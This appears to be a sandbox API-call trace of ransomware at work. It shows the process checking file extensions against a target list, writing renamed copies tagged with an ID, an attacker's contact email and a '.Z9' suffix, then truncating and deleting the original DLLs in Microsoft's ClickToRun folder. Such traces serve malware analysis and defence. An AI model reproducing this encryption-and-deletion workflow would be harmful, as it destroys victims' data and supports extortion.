	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString=".doc") returned 4
	[0084.755] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".docx") returned 5
	[0084.755] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.755] lstrlenW (lpString=".pdf") returned 4
	[0084.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".xls") returned 4
	[0084.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".xlsx") returned 5
	[0084.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.755] lstrlenW (lpString=".ppt") returned 4
	[0084.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString=".zip") returned 4
	[0084.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".rar") returned 4
	[0084.756] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.756] lstrlenW (lpString=".bz2") returned 4
	[0084.756] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.756] lstrlenW (lpString=".7z") returned 3
	[0084.756] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.756] lstrlenW (lpString=".dbf") returned 4
	[0084.756] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.756] lstrlenW (lpString=".1cd") returned 4
	[0084.756] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.756] lstrlenW (lpString=".jpg") returned 4
	[0084.756] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.756] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.756] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33
	[0084.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.757] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=70848) returned 1
	[0084.757] CloseHandle (hObject=0x320) returned 1
	[0084.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20
	[0084.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.757] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.757] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.757] GetLastError () returned 0x0
	[0084.757] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x114c0, lpOverlapped=0x0) returned 1
	[0084.768] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x114d0, lpOverlapped=0x0) returned 1
	[0084.770] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.770] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.770] SetEndOfFile (hFile=0x358) returned 1
	[0084.770] CloseHandle (hObject=0x358) returned 1
	[0084.772] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.773] SetEndOfFile (hFile=0x320) returned 1
	[0084.774] CloseHandle (hObject=0x320) returned 1
	[0084.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.774] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1
	[0084.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.774] lstrlenW (lpString=".doc") returned 4
	[0084.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString=".docx") returned 5
	[0084.775] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.775] lstrlenW (lpString=".pdf") returned 4
	[0084.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString=".xls") returned 4
	[0084.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString=".xlsx") returned 5
	[0084.775] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.775] lstrlenW (lpString=".ppt") returned 4
	[0084.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.775] lstrlenW (lpString=".zip") returned 4
	[0084.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString=".rar") returned 4
	[0084.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.775] lstrlenW (lpString=".bz2") returned 4
	[0084.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.775] lstrlenW (lpString=".7z") returned 3
	[0084.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.775] lstrlenW (lpString=".dbf") returned 4
	[0084.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.775] lstrlenW (lpString=".1cd") returned 4
	[0084.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.775] lstrlenW (lpString=".jpg") returned 4
	[0084.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString=".doc") returned 4
	[0084.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString=".docx") returned 5
	[0084.776] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.776] lstrlenW (lpString=".pdf") returned 4
	[0084.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString=".xls") returned 4
	[0084.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString=".xlsx") returned 5
	[0084.776] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.776] lstrlenW (lpString=".ppt") returned 4
	[0084.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString=".zip") returned 4
	[0084.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString=".rar") returned 4
	[0084.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.776] lstrlenW (lpString=".bz2") returned 4
	[0084.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.776] lstrlenW (lpString=".7z") returned 3
	[0084.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString=".dbf") returned 4
	[0084.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString=".1cd") returned 4
	[0084.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0084.776] lstrlenW (lpString=".jpg") returned 4
	[0084.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.777] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.777] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33
	[0084.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.777] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19648) returned 1
	[0084.777] CloseHandle (hObject=0x320) returned 1
	[0084.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20
	[0084.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.777] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.777] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.781] GetLastError () returned 0x0
	[0084.781] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0085.040] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0085.041] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.041] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x116, lpOverlapped=0x0) returned 1
	[0085.041] SetEndOfFile (hFile=0x358) returned 1
	[0085.042] CloseHandle (hObject=0x358) returned 1
	[0085.043] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.043] SetEndOfFile (hFile=0x320) returned 1
	[0085.044] CloseHandle (hObject=0x320) returned 1
	[0085.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString=".doc") returned 4
	[0085.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".docx") returned 5
	[0085.044] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.044] lstrlenW (lpString=".pdf") returned 4
	[0085.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".xls") returned 4
	[0085.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".xlsx") returned 5
	[0085.045] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.045] lstrlenW (lpString=".ppt") returned 4
	[0085.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString=".zip") returned 4
	[0085.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString=".rar") returned 4
	[0085.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString=".bz2") returned 4
	[0085.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.045] lstrlenW (lpString=".7z") returned 3
	[0085.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString=".dbf") returned 4
	[0085.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString=".1cd") returned 4
	[0085.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString=".jpg") returned 4
	[0085.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.045] lstrlenW (lpString=".doc") returned 4
	[0085.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString=".docx") returned 5
	[0085.045] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.045] lstrlenW (lpString=".pdf") returned 4
	[0085.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString=".xls") returned 4
	[0085.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString=".xlsx") returned 5
	[0085.045] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.045] lstrlenW (lpString=".ppt") returned 4
	[0085.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.046] lstrlenW (lpString=".zip") returned 4
	[0085.046] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.046] lstrlenW (lpString=".rar") returned 4
	[0085.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.046] lstrlenW (lpString=".bz2") returned 4
	[0085.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.046] lstrlenW (lpString=".7z") returned 3
	[0085.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.046] lstrlenW (lpString=".dbf") returned 4
	[0085.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.046] lstrlenW (lpString=".1cd") returned 4
	[0085.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.046] lstrlenW (lpString=".jpg") returned 4
	[0085.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.046] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.046] lstrlenW (lpString="AppvIsvStream64.dll") returned 19
	[0085.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0085.047] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=473760) returned 1
	[0085.047] CloseHandle (hObject=0x320) returned 1
	[0085.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20
	[0085.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0085.047] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.047] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.047] GetLastError () returned 0x0
	[0085.047] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x73aa0, lpOverlapped=0x0) returned 1
	[0085.061] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x73ab0, lpOverlapped=0x0) returned 1
	[0085.069] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.069] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0085.069] SetEndOfFile (hFile=0x358) returned 1
	[0085.069] CloseHandle (hObject=0x358) returned 1
	[0085.078] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.078] SetEndOfFile (hFile=0x320) returned 1
	[0085.082] CloseHandle (hObject=0x320) returned 1
	[0085.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1
	[0085.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.083] lstrlenW (lpString=".doc") returned 4
	[0085.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString=".docx") returned 5
	[0085.083] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0085.083] lstrlenW (lpString=".pdf") returned 4
	[0085.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString=".xls") returned 4
	[0085.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString=".xlsx") returned 5
	[0085.083] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0085.083] lstrlenW (lpString=".ppt") returned 4
	[0085.083] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.083] lstrlenW (lpString=".zip") returned 4
	[0085.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString=".rar") returned 4
	[0085.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.083] lstrlenW (lpString=".bz2") returned 4
	[0085.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.083] lstrlenW (lpString=".7z") returned 3
	[0085.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
